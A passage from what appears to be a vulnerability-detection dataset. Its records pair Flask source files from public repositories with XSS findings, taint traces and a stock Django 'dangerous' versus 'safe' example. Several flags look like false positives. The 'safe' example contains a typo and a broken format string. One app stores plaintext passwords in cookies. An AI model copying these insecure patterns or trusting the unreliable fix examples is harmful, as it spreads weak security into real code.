request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 269, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "query"}}, {"lineNo": 269, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "filter_by"}}, {"lineNo": 269, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "first"}}, {"lineNo": 269, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 292, "eventType": "source", "messageKey": "synz.COMMON.branch.false.assumed", "params": {"arg0": "292"}}, {"lineNo": 293, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}, {"lineNo": 294, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "categoryItemeditCategoryItem.categoryItem.name"}}]}} {"id": "f60f294873cc8e05167dfcc52cc69a97365fc95b2b3a0f0af1183d0d9ef9f20f", "license": {"spdx": ["MIT"], "repo": "amal66/Kawm", "path": "Prototype_2/web/blueprints/index.py", "repo_head_hexsha": "3bf442ea1f4b572f4ec840e0ee6ec7d96ae23133", "stack_hexsha": "57844212fa28ebcdefb93bfed459606ee05dd39b", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 38, "entireCode": "from flask import Blueprint, render_template,redirect,url_for,request,flash,make_response\nfrom flask import current_app as app\nfrom flask_login import (\n LoginManager,\n current_user,\n login_required,\n login_user,\n logout_user,\n UserMixin,\n)\nfrom ..models import User, db\nfrom ..security import hash_string\nfrom datetime import datetime\nindex_template = Blueprint('index', __name__, template_folder='../templates',static_folder='../static')\n\n# Display home page based on authentication status\n@index_template.route('/', methods=[\"GET\",\"POST\"])\ndef index():\n '''\n Display home page based on authentication status.\n '''\n if current_user.is_authenticated:\n return render_template('mainpage.html', name=current_user.name, email=current_user.email)\n else:\n if request.method == 'POST':\n email = request.form.get('InputEmail')\n password = request.form.get('InputPassword')\n remember_me = request.form.get('Remember_me')\n user_details = User.query.filter_by(email=email).first() \n\n if user_details: \n \n \n hashed_password = str(hash_string(password))\n \n if hashed_password == user_details.password: \n login_user(user_details)\n resp = make_response(render_template('mainpage.html', name=user_details.name, email=user_details.email))\n if remember_me == 'on': \n COOKIE_TIME_OUT = 60*60*24*7\n resp.set_cookie('email',email, max_age=COOKIE_TIME_OUT)\n resp.set_cookie('password',password, max_age=COOKIE_TIME_OUT)\n resp.set_cookie('rem', 'on', max_age=COOKIE_TIME_OUT)\n \n else: \n resp = make_response(redirect('/'))\n resp.set_cookie('email', '', expires = datetime.now(), max_age = 0)\n resp.set_cookie('password', '', expires = datetime.now(), max_age = 0)\n resp.set_cookie('rem', 'off', expires = datetime.now(), max_age = 0)\n return resp\n else: \n if user_details.password == str(hash_string('')): \n flash('Please login with Google login')\n elif user_details.password == str(hash_string('')): \n flash('Please login with Facebook login')\n else: \n flash('Incorrect Password')\n return redirect(url_for('index.index'))\n \n \n else: \n flash('User not found')\n return redirect(url_for('index.index'))\n #Tell them no such user found \n else: \n print(request.cookies)\n return render_template('index.html')", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 26, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 26, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 26, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "filter_by"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "first"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 36, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "36"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "user_detailsindex.user_details.name"}}, {"lineNo": 38, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "3d17d8879e69e0f7f01f8e1781f973e6a6e4617199e024b16e93464b6787cee9", "license": {"spdx": ["MIT"], "repo": "purrcat259/thargoid-search-tools", "path": "possible-new-sites/web.py", "repo_head_hexsha": "2520d295116874db9ea5c47233136b4c296d1bee", "stack_hexsha": "e70bd9ff19d7c1e7715ff79da9a08db0f6d91132", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 31, "entireCode": "import argparse\n\nfrom flask import Flask, render_template, redirect, jsonify\nfrom data import DataRetriever\nfrom flask import request\nfrom gevent.pywsgi import WSGIServer\n\napp = Flask(__name__)\n\ndata_retriever = DataRetriever()\n\n\ndef parse_distance(amount):\n return round(float(amount), 2)\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\n@app.route('/search', methods=['POST'])\ndef search():\n if '' in request.form.values():\n print('Incorrect values passed: {}'.format(request.form))\n return redirect('/')\n coordinates = [parse_distance(request.form['x']), parse_distance(request.form['y']), parse_distance(request.form['z'])]\n distances = [parse_distance(request.form['a']), parse_distance(request.form['b']), parse_distance(request.form['c'])]\n sites = data_retriever.get_possible_systems(coordinates=coordinates, distances=distances)\n print('Results: {}'.format(sites))\n return render_template('results.html', sites=sites)\n\n#\n# @app.route('/api/search', methods=['POST'])\n# def search_api():\n# if '' in request.form.values():\n# print('Incorrect values passed: {}'.format(request.form))\n# return redirect('/')\n# coordinates = [parse_distance(request.form['x']), parse_distance(request.form['y']), parse_distance(request.form['z'])]\n# sites = get_closest_systems(coordinates[0], coordinates[1], coordinates[2])\n# return jsonify(\n# {\n# 'sites': sites\n# }\n# )\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--debug',\n dest='debug',\n action='store_true',\n default=False,\n help='Run in debug mode')\n args = parser.parse_args()\n if args.debug:\n app.run(host='127.0.0.1', port=3000, debug=True, threaded=True)\n else:\n http_server = WSGIServer(('127.0.0.1', 3000), app)\n http_server.serve_forever()", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 28, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 28, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 28, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form[\"a\"]"}}, {"lineNo": 28, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "parse_distance"}}, {"lineNo": 28, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form[\"b\"]"}}, {"lineNo": 28, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form[\"c\"]"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get_possible_systems"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 31, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "19b72c02d59fe49890de1300515dd4ce19f79fff97ead68fd380153c2d5397bc", "license": {"spdx": ["MIT"], "repo": "freddyox/letsdothis", "path": "webapp/app/views.py", "repo_head_hexsha": "54eb90123cfce32984d57001b3ef6cba4788d085", "stack_hexsha": "a036d64a97f23e7e69b7cf988abbb243dfe8cde8", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 113, "entireCode": "from flask import render_template, url_for, request, Flask\nfrom app import app\nimport pandas as pd\nfrom flaskext.mysql import MySQL\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Patch\nplt.switch_backend('agg')\nimport numpy as np\nimport operator # sorting dictionary\nimport random\nimport string\n\n############################################################\n# Set up the database\n#\nmysql = MySQL()\napp.config['MYSQL_DATABASE_USER'] = 'freddy'\napp.config['MYSQL_DATABASE_PASSWORD'] = ''\napp.config['MYSQL_DATABASE_DB'] = 'app'\napp.config['MYSQL_DATABASE_HOST'] = 'localhost'\nmysql.init_app(app)\nconn = mysql.connect()\ncur = conn.cursor()\n\n########################################\nconversion={'Mar': 26.219,\n '10K': 6.214}\n\n########################################\n# Flask\n@app.route('/')\n@app.route('/index')\ndef index():\n # We only have 2 race types, let's just hard code this for now:\n return render_template(\"index.html\", AllEvents=AllEvents)\n\n@app.route('/about')\ndef about():\n return render_template(\"about.html\")\n\n@app.route('/contact')\ndef contact():\n return render_template(\"contact.html\")\n\n@app.route('/output')\ndef output():\n sex_map = {'Female': 1, 'Male': 2}\n age_map = {'U11':0,'U13':1,'U15':2,'U17':3,'U20':4,'U23':5,\n 'SEN':6,'V35':7,'V40':8,'V45':9,'V50':10,'V55':11,\n 'V60':12,'V65':13,'V70':14,'V75':15,'V80':16,'V85':17}\n age_type = str(request.args.get('age'))\n gender_type = str(request.args.get('gender'))\n race_type = str(request.args.get('race'))\n event_type = str(request.args.get('event'))\n args = []\n args.append(age_type)\n args.append(gender_type)\n args.append(race_type)\n \n if not race_type:\n return render_template(\"value_error.html\", AllEvents=AllEvents)\n if not event_type:\n return render_template(\"value_error.html\", AllEvents=AllEvents)\n\n age_type = pd.Series(age_type)\n gender_type = pd.Series(gender_type)\n ID = int(pd.Series(event_type)[0])\n \n # Build the appropriate material\n age = age_type.map(age_map).astype(int)\n sex = gender_type.map(sex_map).astype(int)\n event = get_event(ID)\n args.append(event)\n \n #print('User Input:')\n #print('\\t age = {}'.format(age))\n #print('\\t sex = {}'.format(sex))\n #print('\\t race = {}'.format(race_type))\n #print('\\t ID = {}'.format(ID))\n #print('\\t Event = {}'.format(event))\n \n time = get_time(ID, event, True)\n gpx_info = get_gpx_info(ID, event, True)\n gpx = gpx_info\n gpx.append(time)\n \n #print('Course Input:')\n #print('\\t time = {}'.format(time))\n #print('\\t sum_up = {}'.format(gpx_info[0]))\n #print('\\t sigma = {}'.format(gpx_info[1]))\n #print('\\t diff = {}'.format(gpx_info[2]))\n \n beta = get_beta(race_type)\n X = [age, sex, time, gpx_info[0], gpx_info[1],gpx_info[2]]\n \n # Perform the dot product for our user:\n betax = 0.0\n for idx, val in enumerate(X):\n betax += X[idx]*beta[idx]\n #print(idx, X[idx], beta[idx])\n\n # Relative Difficulty\n score = get_score(float(betax), race_type)\n # Course Difficulty\n course_score = get_course_difficulty(beta, gpx, race_type)\n #print('Rel, Course Difficulty', score, course_score)\n\n # Plots for the output\n name,name_gpx = build_plot(beta, gpx, race_type, ID)\n name_score = build_S_curve(betax, score, race_type)\n name_diff = build_time_diff_plot(race_type,ID,age,sex)\n \n return render_template(\"output.html\",\n betax=betax, score=score, course_score=course_score,\n event=event, beta=beta, args=args,\n name=name,\n name_gpx=name_gpx,\n name_score=name_score,\n name_diff=name_diff)\n\n##################################################\n# Remove sex/age dependence, average the result\ndef get_course_difficulty(beta, gpx, race_type):\n scores = []\n for age in range(0,18): # 0 -> 17\n for sex in range(1,3): # 1 or 2, female or male\n X = [age, sex, gpx[3], gpx[0], gpx[1], gpx[2]]\n betax = 0.0\n for idx in range(len(X)):\n betax += X[idx] * beta[idx]\n score = get_score(float(betax), race_type)\n scores.append(score)\n average = sum(scores) / len(scores)\n return average\n##################################################\n# Build PLOTS\ndef build_S_curve(betax, score, race_type):\n sql_select_query = \"\"\"SELECT xval,yval FROM d_dist WHERE race_type = %s\"\"\"\n cur.execute(sql_select_query, (str(race_type), ))\n record = cur.fetchall()\n xs, ys = [], []\n for row in record:\n xs.append(row[0])\n ys.append(row[1]*10.0)\n\n fig = plt.figure()\n ax = plt.subplot(111)\n ax.set_xlim(min(xs),max(xs))\n ax.set_ylim(0.0,10.0)\n ax.plot(xs, ys, 'r', linewidth=4.0)\n score = 10.0*score\n ax.plot([betax,betax],[0.0, score], c='black',linestyle='--')\n ax.plot([betax,0.0],[score, score], c='black',linestyle='--')\n plt.ylabel('Relative Difficulty', fontsize=16)\n plt.xlabel('Score Distribution', fontsize=16)\n\n plt.tight_layout()\n rndstring = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(10)])\n name = 'app/static/images/plots/scores_{}.png'.format(str(rndstring))\n plt.savefig(name)\n plt.close(fig);\n return name[3:]\n\ndef build_time_diff_plot(race_type,ID,age,sex):\n Score, Time = [],[]\n ThisScore,ThisTime=[],[]\n for key,val in AllEvents[race_type].items():\n time = get_time(key, val, True)\n gpx_info = get_gpx_info(key, val, True)\n beta = get_beta(race_type)\n X = [age, sex, time, gpx_info[0], gpx_info[1],gpx_info[2]]\n betax = 0.0\n for idx, val in enumerate(X):\n betax += X[idx]*beta[idx]\n newscore = get_score(float(betax), race_type)\n if key==ID:\n ThisScore.append(newscore*10.0)\n ThisTime.append(time)\n else:\n Score.append(newscore*10.0)\n Time.append(time)\n \n fig = plt.figure()\n ax = plt.subplot(111)\n plt.grid()\n \n plt.scatter(Time,Score,c='black',s=30,marker='o',label='All Scores')\n plt.scatter(ThisTime,ThisScore,c='red',s=40,marker='^',label='This Race')\n \n ax.set_ylim(0.0,10.0)\n avg = sum(Time)/len(Time)\n ax.set_xlim(min(Time)-0.1*avg,max(Time)+0.1*avg)\n plt.xlabel('Average Finish Time (min)',fontsize=15)\n plt.ylabel('Relative Difficulty',fontsize=15)\n plt.tight_layout()\n rndstring = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(10)])\n name = 'app/static/images/plots/time_score_{}.png'.format(str(rndstring))\n plt.savefig(name)\n plt.close(fig);\n return name[3:]\n################################################################################\n# Other methods to help output\n#\ndef build_plot(beta, gpx, race_type, meeting_id):\n labels = ['Age', 'Sex', 'Time', 'Elevation', 'Elevation \\n Std. Dev.',\n 'Elevation \\n Difference']\n xint = range(len(labels))\n\n palette = []\n\n for i in beta:\n if i <= 0:\n palette.append('#b7040e')\n else:\n palette.append('#07a64c')\n \n fig = plt.figure()\n ax1 = plt.subplot2grid((2, 2), (0, 0), colspan=2)\n plt.grid()\n ax1.bar(xint, beta, width=1.0, color=palette)\n plt.ylabel('Importance', fontsize=12)\n plt.title('Regression Feature Importance')\n plt.xticks(xint, labels, rotation=0, wrap=True)\n\n plt.tight_layout()\n\n # Let's get the averages for the gpx list for comparision\n flags = ['sum_up', 'sigma', 'diff', 'min_time']\n averages = []\n for i in flags:\n avg = get_avg(str(i), str(race_type))\n averages.append(avg)\n\n palette2 = ['#ff7f0e','#1f77b4']\n ax2 = plt.subplot2grid((2, 2), (1, 0), colspan=1)\n xint, vals = range(2), [gpx[3],averages[3]]\n min_val = min(gpx[3],averages[3])\n max_val = max(gpx[3],averages[3])\n ax2.bar(xint,vals, width=1.0, color=palette2)\n ax2.set_ylim(0.85*min_val, 1.15*max_val)\n plt.ylabel('Finish Time (min)', fontsize=12)\n plt.xticks(xint, ['Course \\n Time', 'Average \\n Time'], rotation=0, wrap=True)\n\n legend_elements = [Patch(facecolor=palette2[0], label='Course Median Time'),\n Patch(facecolor=palette2[1], label='{} Median Time'.format(race_type))]\n ax2.legend(handles=legend_elements, loc='upper right', frameon=False)\n \n plt.tight_layout()\n\n bins, elevation = get_elevation_dict(meeting_id, race_type)\n ax3 = plt.subplot2grid((2, 2), (1, 1), colspan=1)\n ax3.plot(bins, elevation)\n plt.ylabel('Course Elevation (m)', fontsize=12)\n plt.xlabel('Distance (mi)', fontsize=10)\n avg = sum(elevation)/len(elevation)\n ax3.set_ylim(min(elevation) - 0.15*avg,\n max(elevation) + 0.15*avg)\n plt.tight_layout()\n \n rndstring = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(10)])\n name = 'app/static/images/plots/features_{}.png'.format(str(rndstring))\n plt.savefig(name)\n\n # This is VERY TRICKY, sum_up has been normalized by distance BUT the difference\n # feature has not. This is the correct way to handle this.\n Dist = float(conversion[race_type])\n sum_up = gpx[0]*Dist\n sum_up_a = get_avg(\"sum_up\",race_type)*Dist\n diff = gpx[2]\n diff_a = get_avg(\"diff\",race_type)\n sum_down = sum_up - diff\n sum_down_a = sum_up_a - diff_a\n #print(sum_up, sum_up_a, diff, diff_a, sum_down, sum_down_a, 'TESTING')\n #print(gpx[0], sum_up)\n \n # Part 2\n labels_nice = ['Elev \\n Gain', 'Avg Elev \\n Gain', 'Elev \\n Loss', 'Avg Elev \\n Loss']\n labels = ['1','2','3','4']\n values = [sum_up, sum_up_a, sum_down, sum_down_a]\n values = [x/Dist for x in values]\n fig2 = plt.figure()\n ax22 = plt.subplot(111)\n palette3 = ['#ff7f0e','#1f77b4','#ff7f0e','#1f77b4']\n ax22.barh(labels, values, align='center', color=palette3, height=1.0)\n ax22.set_yticklabels(labels_nice)\n ax22.invert_yaxis() # labels read top-to-bottom\n ax22.set_xlabel('Elevation Gain/Loss Normalized by Distance (m/mi)')\n plt.title(\"GPS Features\")\n name_gpx = 'app/static/images/plots/gpx_{}.png'.format(str(rndstring))\n plt.grid()\n plt.savefig(name_gpx)\n plt.close(fig);\n plt.close(fig2);\n return [name[3:], name_gpx[3:]]\n##################################################\n# Done PLOTTING\n##################################################\n\n##################################################\n# SQL TASKS\n#\ndef sql_get_events(flag, unique=True):\n sql_select_query = \"\"\"SELECT meeting_id, event_title FROM race_info WHERE race_type = %s ORDER BY event_title\"\"\"\n\n cur.execute(sql_select_query, (str(flag), ))\n record = cur.fetchall()\n events = {}\n for row in record:\n events[row[0]] = row[1]\n\n if not unique:\n return events\n\n invert = {}\n for k, v in events.items():\n if v not in invert:\n invert[v] = k\n\n unique_events = {}\n for k, v in invert.items():\n unique_events[v] = k\n\n return unique_events\n\ndef get_event(ID):\n sql_select_query = \"\"\"SELECT event_title FROM race_info WHERE meeting_id = %s\"\"\"\n cur.execute(sql_select_query, (str(ID), ))\n record = cur.fetchall()\n return record[0][0]\n\ndef get_time(ID, event, use_event=True):\n sql_select_query = \"\"\"SELECT meeting_id, min_time FROM race_info WHERE event_title = %s\"\"\"\n flag = str(event)\n cur.execute(sql_select_query, (str(flag), ))\n record = cur.fetchall()\n\n #if len(record) > 1:\n #print('{} has {} records => averaging times'.format(event,len(record)))\n time_avg = 0.0\n for row in record:\n time_avg += row[1]\n N = len(record)\n time_avg /= N\n return time_avg\n\ndef get_gpx_info(ID, event, use_event=True):\n sql_select_query = \"\"\"SELECT meeting_id, sum_up, sigma, diff FROM race_info WHERE meeting_id = %s\"\"\"\n flag = str(ID)\n if use_event:\n sql_select_query = \"\"\"SELECT meeting_id, sum_up, sigma, diff FROM race_info WHERE event_title = %s\"\"\"\n flag = str(event)\n \n cur.execute(sql_select_query, (str(flag), ))\n record = cur.fetchall()\n \n results = [0.0, 0.0, 0.0]\n for row in record:\n results[0] += row[1]\n results[1] += row[2]\n results[2] += row[3]\n \n N = len(record)\n results[0] /= N\n results[1] /= N\n results[2] /= N\n #print('Found {0} records for {1}'.format(N, event))\n return results\n \ndef get_beta(race):\n sql_select_query = \"\"\"SELECT age,sex,time,sum_up,sigma,diff FROM beta WHERE race_type = %s\"\"\"\n cur.execute(sql_select_query, (str(race), ))\n record = cur.fetchall()\n row = record[0]\n beta = []\n for i in row:\n beta.append(i)\n return beta\n \ndef get_score(betax, race_type):\n # There probably is a fast query to do this but I couldn't get it right in ~5 minutes\n # so I moved on...\n sql_select_query = \"\"\"SELECT * FROM d_dist WHERE race_type = %s\"\"\"\n cur.execute(sql_select_query, (str(race_type), ))\n record = cur.fetchall()\n bins, xs, ys, dxs = [], [], [], []\n for row in record:\n bins.append(row[0])\n xs.append(row[1])\n ys.append(row[2])\n dxs.append(row[3])\n \n score = -1.0\n for idx,val in enumerate(xs):\n dx = dxs[idx]*0.5\n dlo = xs[idx] - dx\n dhi = xs[idx] + dx\n if (betax >= dlo) and (betax < dhi):\n score = ys[idx]\n break\n return score\n\ndef get_avg(column_name, race_type):\n sql_select_query = \"\"\"SELECT AVG(min_time), AVG(sum_up), AVG(sigma), AVG(diff), AVG(dt) FROM race_info WHERE race_type = %s\"\"\"\n input = [str(race_type)]\n cur.execute(sql_select_query, input)\n record = cur.fetchall()\n rec_dict = {'min_time': record[0][0],\n 'sum_up' : record[0][1],\n 'sigma' : record[0][2],\n 'diff' : record[0][3],\n 'dt' : record[0][4]}\n if column_name in rec_dict:\n return float(rec_dict[column_name])\n else:\n return 0.0\n\ndef get_elevation_dict(meeting_id, race_type):\n sql_select_query = \"\"\"SELECT bin,elevation FROM gpx WHERE meeting_id = %s\"\"\"\n input = [str(meeting_id)]\n cur.execute(sql_select_query, input)\n record = cur.fetchall()\n xval, yval = [], []\n N = len(record)\n bins = {}\n for row in record:\n bins[row[0]] = (row[0], row[1]) \n\n norm = (1.0 / float(N)) * (float(conversion[str(race_type)]) )\n for key, val in bins.items():\n if key%10 is 0: # reduce the granularity of the arrays\n xval.append( val[0] * norm )\n yval.append( val[1] )\n \n return [xval,yval]\n\nAllEvents = {}\nAllEvents['10K'] = sql_get_events(\"10K\")\nAllEvents['Mar'] = sql_get_events(\"Mar\")\n", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 53, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 53, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 53, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 53, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "str"}}, {"lineNo": 94, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "gpx_infooutput.gpx_info[0]"}}, {"lineNo": 94, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "gpx_infooutput.gpx_info[1]"}}, {"lineNo": 94, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "gpx_infooutput.gpx_info[2]"}}, {"lineNo": 99, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "Xoutput.X[idx]"}}, {"lineNo": 99, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "betaoutput.beta[idx]"}}, {"lineNo": 103, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get_score"}}, {"lineNo": 103, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "get_score"}}, {"lineNo": 103, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 103, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "get_score"}}, {"lineNo": 113, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "ca655f72434815f922a51c1b644f5d6cd05296fe23baedb5dc4d872ed485f10f", "license": {"spdx": ["BSD-2-Clause"], "repo": "rmudingay/backup", "path": "app.py", "repo_head_hexsha": "26a19644b9f09268f2b2c1b1df2e17d2d8e43f83", "stack_hexsha": "39ce94d1fd7f068dea0f364bada7e934d4273751", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 9, "entireCode": "from flask import Flask, request, render_template, session, url_for\n#from flask_simpleldap import LDAP\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n login = request.form.get('username')\n return render_template('home.html', login=login)\n\n@app.route('/login')\ndef login():\n return render_template('login.html')\n\n@app.route('/jobs')\ndef jobs():\n return render_template('jobs.html')\n\n@app.route('/addjob')\ndef addjobs():\n return render_template('forms/add_jobs.html')\n\n@app.route('/addlocation')\ndef addlocation():\n return render_template('forms/add_location.html')\n\n@app.route('/policy')\ndef policy():\n return render_template('policy.html')\n\n@app.route('/addpolicy')\ndef addpolicy():\n return render_template('forms/add_policy.html')\n\n@app.route('/scripts')\ndef scripts():\n return render_template('scripts.html')\n\n@app.route('/addscript')\ndef addscript():\n return render_template('forms/add_script.html')\n\n@app.route('/events')\ndef backup():\n return render_template('events.html')\n\n@app.route('/settings', methods = ['POST', 'GET'])\ndef config():\n login = request.form.get('username')\n return render_template('settings.html', login=login)\n\n@app.route('/sshkeys')\ndef sshkey():\n return 